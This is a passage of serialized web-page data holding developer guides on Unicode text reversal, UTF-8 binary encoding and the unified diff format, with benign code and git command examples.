[]\n",[1560,212018,212019],{"class":1562,"line":889},[1560,212020,212021],{},"    current = ''\n",[1560,212023,212024],{"class":1562,"line":1710},[1560,212025,212026],{},"    for char in s:\n",[1560,212028,212029],{"class":1562,"line":1717},[1560,212030,212031],{},"        if unicodedata.combining(char) and current:\n",[1560,212033,212034],{"class":1562,"line":1747},[1560,212035,212036],{},"            current += char\n",[1560,212038,212039],{"class":1562,"line":2507},[1560,212040,22168],{},[1560,212042,212043],{"class":1562,"line":2524},[1560,212044,212045],{},"            if current:\n",[1560,212047,212048],{"class":1562,"line":2529},[1560,212049,212050],{},"                clusters.append(current)\n",[1560,212052,212053],{"class":1562,"line":2534},[1560,212054,212055],{},"            current = char\n",[1560,212057,212058],{"class":1562,"line":2542},[1560,212059,212060],{},"    if current:\n",[1560,212062,212063],{"class":1562,"line":2558},[1560,212064,212065],{},"        clusters.append(current)\n",[1560,212067,212068],{"class":1562,"line":2570},[1560,212069,212070],{},"    return ''.join(reversed(clusters))\n",[16,212072,212073,212074,23667,212076,212079],{},"Note that the Python version above is a simplified heuristic. Full grapheme segmentation requires following the Unicode Text Segmentation algorithm (UAX #29), which handles emoji ZWJ sequences, regional indicators, and Hangul jamo. Libraries like ",[143,212075,205354],{},[143,212077,212078],{},"graphemer"," (JavaScript) implement this correctly.",[11,212081,212083],{"id":212082},"bidirectional-text-and-reversal","Bidirectional Text and Reversal",[16,212085,212086],{},"Right-to-left (RTL) scripts like Arabic and Hebrew add another layer of complexity. The Unicode Bidirectional Algorithm (UAX #9) determines the display order of mixed-direction text.",[16,212088,212089,212090,212093,212094,212097],{},"Consider: ",[143,212091,212092],{},"\"Hello و globalization\"",". The word ",[143,212095,212096],{},"و"," (Arabic \"and\") is RTL. The visual display order differs from the logical storage order:",[135,212099,212102],{"className":212100,"code":212101,"language":140},[138],"Logical order:  H e l l o   و   g l o b a l i z a t i o n\nDisplay order:  H e l l o   و   n o i t a z i l a b o l g\n",[143,212103,212101],{"__ignoreMap":141},[16,212105,212106],{},"Reversing the logical code points reverses the storage order, but the bidirectional algorithm then re-applies, producing unexpected visual output. The relationship between logical reversal and visual reversal is not obvious and depends on the surrounding text direction.",[11,212108,212110],{"id":212109},"surrogate-pairs-in-utf-16","Surrogate Pairs in UTF-16",[16,212112,212113],{},"JavaScript and Java store strings as UTF-16 code units. Characters outside the BMP (like most emoji) are encoded as surrogate pairs — two code units representing one code point.",[135,212115,212117],{"className":1607,"code":212116,"language":1609,"meta":141,"style":141},"const emoji = '😊';\nconsole.log(emoji.length);          \u002F\u002F 2 (surrogate pair)\nconsole.log([...emoji].length);     \u002F\u002F 1 (code point via spread)\n",[143,212118,212119,212133,212150],{"__ignoreMap":141},[1560,212120,212121,212123,212126,212128,212131],{"class":1562,"line":1563},[1560,212122,8180],{"class":1669},[1560,212124,212125],{"class":1576}," emoji",[1560,212127,8186],{"class":1669},[1560,212129,212130],{"class":5634}," '😊'",[1560,212132,2228],{"class":1570},[1560,212134,212135,212137,212139,212142,212144,212147],{"class":1562,"line":337},[1560,212136,8211],{"class":1570},[1560,212138,8214],{"class":1566},[1560,212140,212141],{"class":1570},"(emoji.",[1560,212143,9418],{"class":1576},[1560,212145,212146],{"class":1570},");          ",[1560,212148,212149],{"class":1649},"\u002F\u002F 2 (surrogate pair)\n",[1560,212151,212152,212154,212156,212158,212160,212163,212165,212167],{"class":1562,"line":343},[1560,212153,8211],{"class":1570},[1560,212155,8214],{"class":1566},[1560,212157,175667],{"class":1570},[1560,212159,24388],{"class":1669},[1560,212161,212162],{"class":1570},"emoji].",[1560,212164,9418],{"class":1576},[1560,212166,30182],{"class":1570},[1560,212168,212169],{"class":1649},"\u002F\u002F 1 (code point via spread)\n",[16,212171,212172],{},"Reversing at the code unit level splits surrogate pairs, producing invalid UTF-16 and rendering as replacement characters (�). Always iterate by code point or grapheme cluster, never by code unit.",[11,212174,212176],{"id":212175},"comparison-of-reversal-granularities","Comparison of Reversal Granularities",[193,212178,212179,212191],{},[196,212180,212181],{},[199,212182,212183,212185,212188],{},[202,212184,3291],{},[202,212186,212187],{},"Preserves",[202,212189,212190],{},"Breaks",[211,212192,212193,212203,212214],{},[199,212194,212195,212198,212200],{},[216,212196,212197],{},"Code unit (UTF-16)",[216,212199,201198],{},[216,212201,212202],{},"Surrogate pairs, combining marks, emoji",[199,212204,212205,212208,212211],{},[216,212206,212207],{},"Code point",[216,212209,212210],{},"BMP characters",[216,212212,212213],{},"Combining marks, ZWJ sequences",[199,212215,212216,212219,212222],{},[216,212217,212218],{},"Grapheme cluster",[216,212220,212221],{},"Combining marks, emoji, ZWJ sequences",[216,212223,212224],{},"RTL visual order, edge cases",[16,212226,212227],{},"For most practical purposes, grapheme-cluster reversal is the correct granularity.",[11,212229,1355],{"id":1354},[41,212231,212232,212235,212238,212243,212246],{},[44,212233,212234],{},"Naïve code-point reversal breaks combining marks, separating diaereses from their base letters.",[44,212236,212237],{},"Emoji with ZWJ sequences (family, skin tones) are multi-code-point grapheme clusters that must not be split.",[44,212239,1388,212240,212242],{},[143,212241,135473],{}," (JavaScript) or a grapheme library (Python) to segment text before reversing.",[44,212244,212245],{},"RTL scripts interact with reversal in non-obvious ways because the bidirectional algorithm re-applies to the reversed logical order.",[44,212247,212248],{},"UTF-16 code-unit reversal is always wrong for text containing emoji or other supplementary characters.",[11,212250,286],{"id":285},[16,212252,212253,212254,212256],{},"Curious how reversal handles emoji and accented characters? Test any string in the ",[98,212255,155315],{"href":155314}," and see the difference proper Unicode handling makes.",[2043,212258,38457],{},{"title":141,"searchDepth":337,"depth":337,"links":212260},[212261,212262,212265,212266,212267,212268,212269],{"id":211773,"depth":337,"text":211774},{"id":211858,"depth":337,"text":211859,"children":212263},[212264],{"id":211894,"depth":343,"text":211895},{"id":212082,"depth":337,"text":212083},{"id":212109,"depth":337,"text":212110},{"id":212175,"depth":337,"text":212176},{"id":1354,"depth":337,"text":1355},{"id":285,"depth":337,"text":286},"Why reversing Unicode text with emojis and RTL characters is harder than it looks.",{"immutable":363},"\u002Fguides\u002Funicode-bidi-text-reversal",{"title":211765,"description":212270},"guides\u002Funicode-bidi-text-reversal","50mxMyoIIGf2FGywPSSd5U6MDCoHEX-sI-ORy8qrGuo",{"id":212277,"title":212278,"body":212279,"date":2070,"description":212689,"extension":361,"meta":212690,"navigation":363,"path":212691,"readingTime":1710,"seo":212692,"stem":212693,"__hash__":212694},"guides\u002Fguides\u002Funicode-utf8-binary.md","Unicode, UTF-8, and Binary Encoding",{"type":8,"value":212280,"toc":212678},[212281,212284,212288,212295,212359,212362,212366,212369,212432,212438,212442,212505,212509,212574,212578,212581,212607,212617,212619,212654,212656,212670,212672],[16,212282,212283],{},"Every character you see on screen — from the letter A to a snowman emoji — is ultimately stored as binary data. The mapping between human-readable characters and binary bits is defined by encoding standards, and UTF-8 is the dominant encoding on the web today. Understanding how Unicode code points translate to UTF-8 byte sequences helps you debug mojibake, validate input, and work with binary protocols.",[11,212285,212287],{"id":212286},"unicode-code-points","Unicode Code Points",[16,212289,212290,212291,212294],{},"Unicode assigns every character a unique integer called a code point, written as ",[143,212292,212293],{},"U+XXXX"," where XXXX is a hexadecimal number. The Unicode standard currently defines over 149,000 characters across scripts, symbols, and emoji.",[193,212296,212297,212307],{},[196,212298,212299],{},[199,212300,212301,212303,212305],{},[202,212302,7809],{},[202,212304,7812],{},[202,212306,5271],{},[211,212308,212309,212318,212327,212337,212348],{},[199,212310,212311,212313,212316],{},[216,212312,21981],{},[216,212314,212315],{},"U+0041",[216,212317,4836],{},[199,212319,212320,212322,212324],{},[216,212321,24101],{},[216,212323,162501],{},[216,212325,212326],{},"233",[199,212328,212329,212331,212334],{},[216,212330,120712],{},[216,212332,212333],{},"U+20AC",[216,212335,212336],{},"8364",[199,212338,212339,212342,212345],{},[216,212340,212341],{},"中",[216,212343,212344],{},"U+4E2D",[216,212346,212347],{},"20013",[199,212349,212350,212353,212356],{},[216,212351,212352],{},"😊",[216,212354,212355],{},"U+1F60A",[216,212357,212358],{},"128522",[16,212360,212361],{},"Code points range from U+0000 to U+10FFFF, giving a maximum of 1,114,112 possible values. This range is divided into planes — the first plane (U+0000 to U+FFFF) is called the Basic Multilingual Plane (BMP) and covers most everyday characters.",[11,212363,212365],{"id":212364},"utf-8-encoding-rules","UTF-8 Encoding Rules",[16,212367,212368],{},"UTF-8 is a variable-length encoding: each code point is represented by 1 to 4 bytes. The number of bytes depends on the code point's value:",[193,212370,212371,212382],{},[196,212372,212373],{},[199,212374,212375,212378,212380],{},[202,212376,212377],{},"Code Point Range",[202,212379,13404],{},[202,212381,14812],{},[211,212383,212384,212396,212408,212420],{},[199,212385,212386,212389,212391],{},[216,212387,212388],{},"U+0000 – U+007F",[216,212390,3585],{},[216,212392,212393],{},[143,212394,212395],{},"0xxxxxxx",[199,212397,212398,212401,212403],{},[216,212399,212400],{},"U+0080 – U+07FF",[216,212402,10099],{},[216,212404,212405],{},[143,212406,212407],{},"110xxxxx 10xxxxxx",[199,212409,212410,212413,212415],{},[216,212411,212412],{},"U+0800 – U+FFFF",[216,212414,17821],{},[216,212416,212417],{},[143,212418,212419],{},"1110xxxx 10xxxxxx 10xxxxxx",[199,212421,212422,212425,212427],{},[216,212423,212424],{},"U+10000 – U+10FFFF",[216,212426,12546],{},[216,212428,212429],{},[143,212430,212431],{},"11110xxx 10xxxxxx 10xxxxxx 10xxxxxx",[16,212433,212434,212435,212437],{},"The leading bits of the first byte tell a decoder how many bytes follow. Continuation bytes all start with ",[143,212436,36197],{},", making resynchronization possible even if you start reading mid-stream.",[33,212439,212441],{"id":212440},"encoding-example-u20ac","Encoding Example: € (U+20AC)",[77,212443,212444,212453,212456,212495],{},[44,212445,212446,212447,212449,212450],{},"Code point ",[143,212448,212333],{}," = decimal 8364 = binary ",[143,212451,212452],{},"0010 0000 1010 1100",[44,212454,212455],{},"This falls in the 3-byte range (U+0800–U+FFFF)",[44,212457,212458,212459,19182,212461],{},"Distribute the 16 bits into the pattern ",[143,212460,212419],{},[41,212462,212463,212473,212484],{},[44,212464,212465,212466,21111,212468,114849,212470],{},"First byte: ",[143,212467,115773],{},[143,212469,115721],{},[143,212471,212472],{},"11100010",[44,212474,212475,212476,21111,212478,114849,212481],{},"Second byte: ",[143,212477,36197],{},[143,212479,212480],{},"000010",[143,212482,212483],{},"10000010",[44,212485,212486,212487,21111,212489,114849,212492],{},"Third byte: ",[143,212488,36197],{},[143,212490,212491],{},"101100",[143,212493,212494],{},"10101100",[44,212496,212497,212498,212501,212502],{},"UTF-8 bytes: ",[143,212499,212500],{},"0xE2 0x82 0xAC"," → binary: ",[143,212503,212504],{},"11100010 10000010 10101100",[33,212506,212508],{"id":212507},"encoding-example-u1f60a","Encoding Example: 😊 (U+1F60A)",[77,212510,212511,212519,212522,212569],{},[44,212512,212446,212513,212515,212516],{},[143,212514,212355],{}," = decimal 128522 = binary ",[143,212517,212518],{},"0001 1111 0110 0000 1010",[44,212520,212521],{},"This falls in the 4-byte range (U+10000–U+10FFFF)",[44,212523,212524,212525,19182,212527],{},"Distribute 21 bits into the pattern ",[143,212526,212431],{},[41,212528,212529,212538,212548,212558],{},[44,212530,212465,212531,21111,212534,114849,212536],{},[143,212532,212533],{},"11110",[143,212535,14083],{},[143,212537,14862],{},[44,212539,212475,212540,21111,212542,114849,212545],{},[143,212541,36197],{},[143,212543,212544],{},"011111",[143,212546,212547],{},"10011111",[44,212549,212486,212550,21111,212552,114849,212555],{},[143,212551,36197],{},[143,212553,212554],{},"100000",[143,212556,212557],{},"10100000",[44,212559,212560,212561,21111,212563,114849,212566],{},"Fourth byte: ",[143,212562,36197],{},[143,212564,212565],{},"001010",[143,212567,212568],{},"10001010",[44,212570,212497,212571],{},[143,212572,212573],{},"0xF0 0x9F 0x98 0x8A",[11,212575,212577],{"id":212576},"why-utf-8-won-the-web","Why UTF-8 Won the Web",[16,212579,212580],{},"UTF-8 has several properties that made it the de facto standard:",[41,212582,212583,212589,212595,212601],{},[44,212584,212585,212588],{},[47,212586,212587],{},"ASCII compatibility."," The first 128 code points (U+0000–U+007F) encode as single bytes identical to ASCII. Any valid ASCII text is also valid UTF-8, which eliminates migration effort for English-centric systems.",[44,212590,212591,212594],{},[47,212592,212593],{},"Self-synchronization."," Because leading bytes and continuation bytes have distinct bit patterns, a UTF-8 decoder can find the start of the next character from any position in a byte stream — even after data corruption.",[44,212596,212597,212600],{},[47,212598,212599],{},"No endianness issues."," Unlike UTF-16 and UTF-32, UTF-8 is byte-oriented and does not require a byte-order mark (BOM).",[44,212602,212603,212606],{},[47,212604,212605],{},"Space efficiency for Latin text."," English and other Latin-script languages use 1 byte per character, compared to 2 bytes minimum for UTF-16.",[16,212608,212609,212610,212613,212614,212616],{},"As of 2026, over 98% of web pages use UTF-8 encoding. The ",[143,212611,212612],{},"Content-Type: text\u002Fhtml; charset=utf-8"," header and the ",[143,212615,128635],{}," tag are standard practice.",[11,212618,10393],{"id":10392},[41,212620,212621,212635,212641],{},[44,212622,212623,212626,212627,212630,212631,212634],{},[47,212624,212625],{},"Confusing code points with bytes."," JavaScript's ",[143,212628,212629],{},"String.length"," counts UTF-16 code units, not Unicode code points. The string ",[143,212632,212633],{},"\"😊\".length"," returns 2, not 1, because the emoji is encoded as a surrogate pair in UTF-16.",[44,212636,212637,212640],{},[47,212638,212639],{},"Overlong encodings."," An overlong encoding uses more bytes than necessary to represent a code point (e.g., encoding U+0041 as two bytes). The UTF-8 standard forbids overlong encodings, and conformant decoders reject them as a security measure.",[44,212642,212643,212646,212647,1811,212650,212653],{},[47,212644,212645],{},"Invalid byte sequences."," A lone continuation byte (",[143,212648,212649],{},"0x80",[143,212651,212652],{},"0xBF",") without a leading byte, or a leading byte not followed by enough continuation bytes, makes the stream invalid. How decoders handle this — replacing with U+FFFD (�) or raising an error — varies by implementation.",[11,212655,1355],{"id":1354},[41,212657,212658,212661,212664,212667],{},[44,212659,212660],{},"Unicode code points are abstract integer identifiers; UTF-8 is one way to encode them as binary bytes.",[44,212662,212663],{},"UTF-8 uses 1–4 bytes per character, with the byte count encoded in the leading bits of the first byte.",[44,212665,212666],{},"ASCII compatibility and self-synchronization are the key reasons UTF-8 dominates the web.",[44,212668,212669],{},"Confusing code points, UTF-16 code units, and bytes is the root cause of most string-handling bugs.",[11,212671,286],{"id":285},[16,212673,212674,212675,212677],{},"Want to see the binary representation of any text? Paste a string into the ",[98,212676,14418],{"href":13893}," to visualize its UTF-8 byte sequences and binary encoding in real time.",{"title":141,"searchDepth":337,"depth":337,"links":212679},[212680,212681,212685,212686,212687,212688],{"id":212286,"depth":337,"text":212287},{"id":212364,"depth":337,"text":212365,"children":212682},[212683,212684],{"id":212440,"depth":343,"text":212441},{"id":212507,"depth":343,"text":212508},{"id":212576,"depth":337,"text":212577},{"id":10392,"depth":337,"text":10393},{"id":1354,"depth":337,"text":1355},{"id":285,"depth":337,"text":286},"How Unicode characters map to UTF-8 byte sequences and their binary representations.",{"immutable":363},"\u002Fguides\u002Funicode-utf8-binary",{"title":212278,"description":212689},"guides\u002Funicode-utf8-binary","T3VOX_PE0INTrOn-DGhcclXLj5UGEKruSIZGcjIbFvo",{"id":212696,"title":212697,"body":212698,"date":2070,"description":213297,"extension":361,"meta":213298,"navigation":363,"path":213299,"readingTime":1710,"seo":213300,"stem":213301,"__hash__":213302},"guides\u002Fguides\u002Funified-diff-format-explained.md","Unified Diff Format Explained",{"type":8,"value":212699,"toc":213282},[212700,212704,212715,212718,212722,212725,212783,212786,212790,212803,212823,212827,212835,212841,212866,212870,212908,212917,212921,212927,213010,213013,213017,213020,213058,213065,213084,213088,213091,213130,213133,213137,213140,213149,213156,213190,213192,213228,213230,213272,213274,213279],[11,212701,212703],{"id":212702},"what-is-unified-diff","What Is Unified Diff?",[16,212705,212706,212707,212710,212711,212714],{},"Unified diff is the standard format for representing differences between two versions of a text file. Created for the ",[143,212708,212709],{},"diff -u"," command in Unix, it became the universal format adopted by Git, Mercurial, Subversion, and every major patch tool. If you have ever run ",[143,212712,212713],{},"git diff",", you have already read unified diff output.",[16,212716,212717],{},"The format is designed to be both human-readable and machine-parseable — you can see what changed at a glance, and tools can apply the same diff as a patch to transform one file into another.",[11,212719,212721],{"id":212720},"anatomy-of-a-unified-diff","Anatomy of a Unified Diff",[16,212723,212724],{},"Here is a typical unified diff:",[135,212726,212728],{"className":164532,"code":212727,"language":35165,"meta":141,"style":141},"--- a\u002Fsrc\u002Futils\u002Fformat.js\n+++ b\u002Fsrc\u002Futils\u002Fformat.js\n@@ -12,7 +12,7 @@ function formatDate(date) {\n   const year = date.getFullYear();\n   const month = date.getMonth() + 1;\n   const day = date.getDate();\n-  return `${year}-${month}-${day}`;\n+  return `${year}-${String(month).padStart(2, '0')}-${String(day).padStart(2, '0')}`;\n }\n\n function parseDate(str) {\n",[143,212729,212730,212735,212740,212745,212750,212755,212760,212765,212770,212774,212778],{"__ignoreMap":141},[1560,212731,212732],{"class":1562,"line":1563},[1560,212733,212734],{},"--- a\u002Fsrc\u002Futils\u002Fformat.js\n",[1560,212736,212737],{"class":1562,"line":337},[1560,212738,212739],{},"+++ b\u002Fsrc\u002Futils\u002Fformat.js\n",[1560,212741,212742],{"class":1562,"line":343},[1560,212743,212744],{},"@@ -12,7 +12,7 @@ function formatDate(date) {\n",[1560,212746,212747],{"class":1562,"line":365},[1560,212748,212749],{},"   const year = date.getFullYear();\n",[1560,212751,212752],{"class":1562,"line":889},[1560,212753,212754],{},"   const month = date.getMonth() + 1;\n",[1560,212756,212757],{"class":1562,"line":1710},[1560,212758,212759],{},"   const day = date.getDate();\n",[1560,212761,212762],{"class":1562,"line":1717},[1560,212763,212764],{},"-  return `${year}-${month}-${day}`;\n",[1560,212766,212767],{"class":1562,"line":1747},[1560,212768,212769],{},"+  return `${year}-${String(month).padStart(2, '0')}-${String(day).padStart(2, '0')}`;\n",[1560,212771,212772],{"class":1562,"line":2507},[1560,212773,27879],{},[1560,212775,212776],{"class":1562,"line":2524},[1560,212777,1702],{"emptyLinePlaceholder":363},[1560,212779,212780],{"class":1562,"line":2529},[1560,212781,212782],{}," function parseDate(str) {\n",[16,212784,212785],{},"Let us break it down piece by piece.",[33,212787,212789],{"id":212788},"file-headers","File Headers",[135,212791,212793],{"className":164532,"code":212792,"language":35165,"meta":141,"style":141},"--- a\u002Fsrc\u002Futils\u002Fformat.js\n+++ b\u002Fsrc\u002Futils\u002Fformat.js\n",[143,212794,212795,212799],{"__ignoreMap":141},[1560,212796,212797],{"class":1562,"line":1563},[1560,212798,212734],{},[1560,212800,212801],{"class":1562,"line":337},[1560,212802,212739],{},[41,212804,212805,212814],{},[44,212806,212807,212809,212810,212813],{},[143,212808,137396],{}," marks the original file (often prefixed with ",[143,212811,212812],{},"a\u002F"," in Git).",[44,212815,212816,212819,212820,9368],{},[143,212817,212818],{},"+++"," marks the modified file (prefixed with ",[143,212821,212822],{},"b\u002F",[33,212824,212826],{"id":212825},"hunk-headers","Hunk Headers",[135,212828,212829],{"className":164532,"code":212744,"language":35165,"meta":141,"style":141},[143,212830,212831],{"__ignoreMap":141},[1560,212832,212833],{"class":1562,"line":1563},[1560,212834,212744],{},[16,212836,421,212837,212840],{},[143,212838,212839],{},"@@"," line is the hunk header. It tells you where this chunk of changes lives:",[41,212842,212843,212851,212859],{},[44,212844,212845,212850],{},[47,212846,212847],{},[143,212848,212849],{},"-12,7"," — in the original file, this hunk starts at line 12 and spans 7 lines.",[44,212852,212853,212858],{},[47,212854,212855],{},[143,212856,212857],{},"+12,7"," — in the modified file, this hunk starts at line 12 and spans 7 lines.",[44,212860,212861,212862,212865],{},"The trailing ",[143,212863,212864],{},"function formatDate(date)"," is a context line pulled from the file to help you locate the change visually.",[33,212867,212869],{"id":212868},"change-lines","Change Lines",[193,212871,212872,212880],{},[196,212873,212874],{},[199,212875,212876,212878],{},[202,212877,132011],{},[202,212879,4228],{},[211,212881,212882,212890,212899],{},[199,212883,212884,212887],{},[216,212885,212886],{},"(space)",[216,212888,212889],{},"Context line — unchanged, shown for reference",[199,212891,212892,212896],{},[216,212893,212894],{},[143,212895,9412],{},[216,212897,212898],{},"Line removed from the original",[199,212900,212901,212905],{},[216,212902,212903],{},[143,212904,9448],{},[216,212906,212907],{},"Line added in the modified version",[16,212909,212910,212911,212913,212914,212916],{},"A line that was modified appears as both a ",[143,212912,9412],{}," removal and a ",[143,212915,9448],{}," addition — the old content followed by the new content.",[11,212918,212920],{"id":212919},"reading-multi-hunk-diffs","Reading Multi-Hunk Diffs",[16,212922,212923,212924,212926],{},"Large changes produce multiple hunks separated by their own ",[143,212925,212839],{}," headers:",[135,212928,212930],{"className":164532,"code":212929,"language":35165,"meta":141,"style":141},"@@ -1,5 +1,6 @@\n import { format } from '.\u002Fformat';\n+import { validate } from '.\u002Fvalidate';\n\n const data = getData();\n-const result = format(data);\n+const result = format(validate(data));\n export default result;\n@@ -22,3 +23,8 @@\n   return output;\n }\n+\n+export function validate(input) {\n+  if (!input) throw new Error('Empty input');\n+  return input;\n+}\n",[143,212931,212932,212937,212942,212947,212951,212956,212961,212966,212971,212976,212981,212985,212990,212995,213000,213005],{"__ignoreMap":141},[1560,212933,212934],{"class":1562,"line":1563},[1560,212935,212936],{},"@@ -1,5 +1,6 @@\n",[1560,212938,212939],{"class":1562,"line":337},[1560,212940,212941],{}," import { format } from '.\u002Fformat';\n",[1560,212943,212944],{"class":1562,"line":343},[1560,212945,212946],{},"+import { validate } from '.\u002Fvalidate';\n",[1560,212948,212949],{"class":1562,"line":365},[1560,212950,1702],{"emptyLinePlaceholder":363},[1560,212952,212953],{"class":1562,"line":889},[1560,212954,212955],{}," const data = getData();\n",[1560,212957,212958],{"class":1562,"line":1710},[1560,212959,212960],{},"-const result = format(data);\n",[1560,212962,212963],{"class":1562,"line":1717},[1560,212964,212965],{},"+const result = format(validate(data));\n",[1560,212967,212968],{"class":1562,"line":1747},[1560,212969,212970],{}," export default result;\n",[1560,212972,212973],{"class":1562,"line":2507},[1560,212974,212975],{},"@@ -22,3 +23,8 @@\n",[1560,212977,212978],{"class":1562,"line":2524},[1560,212979,212980],{},"   return output;\n",[1560,212982,212983],{"class":1562,"line":2529},[1560,212984,27879],{},[1560,212986,212987],{"class":1562,"line":2534},[1560,212988,212989],{},"+\n",[1560,212991,212992],{"class":1562,"line":2542},[1560,212993,212994],{},"+export function validate(input) {\n",[1560,212996,212997],{"class":1562,"line":2558},[1560,212998,212999],{},"+  if (!input) throw new Error('Empty input');\n",[1560,213001,213002],{"class":1562,"line":2570},[1560,213003,213004],{},"+  return input;\n",[1560,213006,213007],{"class":1562,"line":6638},[1560,213008,213009],{},"+}\n",[16,213011,213012],{},"Each hunk operates independently — line numbers are relative to that hunk's position, not the entire file.",[11,213014,213016],{"id":213015},"context-lines","Context Lines",[16,213018,213019],{},"By default, unified diff shows 3 lines of context before and after each change. This helps you understand the surrounding code without opening the file. You can control the context width:",[135,213021,213023],{"className":6951,"code":213022,"language":6953,"meta":141,"style":141},"diff -U 5 old.txt new.txt   # 5 lines of context\ndiff -U 0 old.txt new.txt   # no context, just changes\n",[143,213024,213025,213043],{"__ignoreMap":141},[1560,213026,213027,213029,213032,213034,213037,213040],{"class":1562,"line":1563},[1560,213028,35165],{"class":1566},[1560,213030,213031],{"class":1576}," -U",[1560,213033,28229],{"class":1576},[1560,213035,213036],{"class":5634}," old.txt",[1560,213038,213039],{"class":5634}," new.txt",[1560,213041,213042],{"class":1649},"   # 5 lines of context\n",[1560,213044,213045,213047,213049,213051,213053,213055],{"class":1562,"line":337},[1560,213046,35165],{"class":1566},[1560,213048,213031],{"class":1576},[1560,213050,13541],{"class":1576},[1560,213052,213036],{"class":5634},[1560,213054,213039],{"class":5634},[1560,213056,213057],{"class":1649},"   # no context, just changes\n",[16,213059,213060,213061,213064],{},"Git respects this via the ",[143,213062,213063],{},"-U"," flag as well:",[135,213066,213068],{"className":6951,"code":213067,"language":6953,"meta":141,"style":141},"git diff -U 10              # 10 lines of context\n",[143,213069,213070],{"__ignoreMap":141},[1560,213071,213072,213075,213077,213079,213081],{"class":1562,"line":1563},[1560,213073,213074],{"class":1566},"git",[1560,213076,151341],{"class":5634},[1560,213078,213031],{"class":1576},[1560,213080,43241],{"class":1576},[1560,213082,213083],{"class":1649},"              # 10 lines of context\n",[11,213085,213087],{"id":213086},"generating-and-applying-patches","Generating and Applying Patches",[16,213089,213090],{},"Unified diff output can be saved as a patch file and applied to the original:",[135,213092,213094],{"className":6951,"code":213093,"language":6953,"meta":141,"style":141},"# Generate a patch\ngit diff > feature.patch\n\n# Apply it\ngit apply feature.patch\n",[143,213095,213096,213101,213112,213116,213121],{"__ignoreMap":141},[1560,213097,213098],{"class":1562,"line":1563},[1560,213099,213100],{"class":1649},"# Generate a patch\n",[1560,213102,213103,213105,213107,213109],{"class":1562,"line":337},[1560,213104,213074],{"class":1566},[1560,213106,151341],{"class":5634},[1560,213108,32916],{"class":1669},[1560,213110,213111],{"class":5634}," feature.patch\n",[1560,213113,213114],{"class":1562,"line":343},[1560,213115,1702],{"emptyLinePlaceholder":363},[1560,213117,213118],{"class":1562,"line":365},[1560,213119,213120],{"class":1649},"# Apply it\n",[1560,213122,213123,213125,213128],{"class":1562,"line":889},[1560,213124,213074],{"class":1566},[1560,213126,213127],{"class":5634}," apply",[1560,213129,213111],{"class":5634},[16,213131,213132],{},"This is how open-source projects accept contributions via email — contributors send unified diffs, maintainers review them, and apply them to the tree.",[11,213134,213136],{"id":213135},"binary-and-special-cases","Binary and Special Cases",[16,213138,213139],{},"Unified diff is a text format. Binary files (images, compiled files) cannot be represented this way. Git marks them differently:",[135,213141,213143],{"className":164532,"code":213142,"language":35165,"meta":141,"style":141},"Binary files a\u002Flogo.png and b\u002Flogo.png differ\n",[143,213144,213145],{"__ignoreMap":141},[1560,213146,213147],{"class":1562,"line":1563},[1560,213148,213142],{},[16,213150,213151,213152,213155],{},"New or deleted files use ",[143,213153,213154],{},"\u002Fdev\u002Fnull"," as one side:",[135,213157,213159],{"className":164532,"code":213158,"language":35165,"meta":141,"style":141},"--- \u002Fdev\u002Fnull\n+++ b\u002Fnew-file.js\n@@ -0,0 +1,3 @@\n+export function hello() {\n+  return 'world';\n+}\n",[143,213160,213161,213166,213171,213176,213181,213186],{"__ignoreMap":141},[1560,213162,213163],{"class":1562,"line":1563},[1560,213164,213165],{},"--- \u002Fdev\u002Fnull\n",[1560,213167,213168],{"class":1562,"line":337},[1560,213169,213170],{},"+++ b\u002Fnew-file.js\n",[1560,213172,213173],{"class":1562,"line":343},[1560,213174,213175],{},"@@ -0,0 +1,3 @@\n",[1560,213177,213178],{"class":1562,"line":365},[1560,213179,213180],{},"+export function hello() {\n",[1560,213182,213183],{"class":1562,"line":889},[1560,213184,213185],{},"+  return 'world';\n",[1560,213187,213188],{"class":1562,"line":1710},[1560,213189,213009],{},[11,213191,25893],{"id":25892},[41,213193,213194,213200,213210,213222],{},[44,213195,213196,213199],{},[47,213197,213198],{},"Line numbers can shift"," — after the first hunk, line numbers in subsequent hunks refer to the modified file, not the original. Do not try to correlate line numbers across hunks.",[44,213201,213202,213205,213206,213209],{},[47,213203,213204],{},"Whitespace changes"," — trailing whitespace in removed\u002Fadded lines is significant. Use ",[143,213207,213208],{},"git diff -w"," to ignore whitespace changes.",[44,213211,213212,213215,213216,14237,213219,468],{},[47,213213,213214],{},"Renamed files"," — Git detects renames and shows them as ",[143,213217,213218],{},"--- a\u002Fold-name.js",[143,213220,213221],{},"+++ b\u002Fnew-name.js",[44,213223,213224,213227],{},[47,213225,213226],{},"Combined diffs"," — merge commits produce a combined diff format with a third column prefix for the second parent.",[11,213229,1355],{"id":1354},[41,213231,213232,213235,213251,213254,213263,213266],{},[44,213233,213234],{},"Unified diff is the standard format for representing text changes, used by Git and all major version control systems.",[44,213236,213237,213238,14237,213240,213242,213243,213245,213246,213248,213249,9368],{},"Each diff contains file headers (",[143,213239,137396],{},[143,213241,212818],{},"), hunk headers (",[143,213244,212839],{},"), context lines (space prefix), removals (",[143,213247,9412],{},"), and additions (",[143,213250,9448],{},[44,213252,213253],{},"Hunk headers report start line and span for both the original and modified file.",[44,213255,213256,213257,213259,213260,213262],{},"Modified lines appear as a ",[143,213258,9412],{}," removal followed by a ",[143,213261,9448],{}," addition.",[44,213264,213265],{},"Context lines provide surrounding code for orientation without opening the file.",[44,213267,213268,213269,468],{},"Unified diffs double as patch files — save the output and apply it with ",[143,213270,213271],{},"git apply",[11,213273,286],{"id":285},[16,213275,213276,213277,468],{},"Paste two versions of text and see the unified diff instantly with the ",[98,213278,35403],{"href":35402},[2043,213280,213281],{},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .sZZnC, html code.shiki 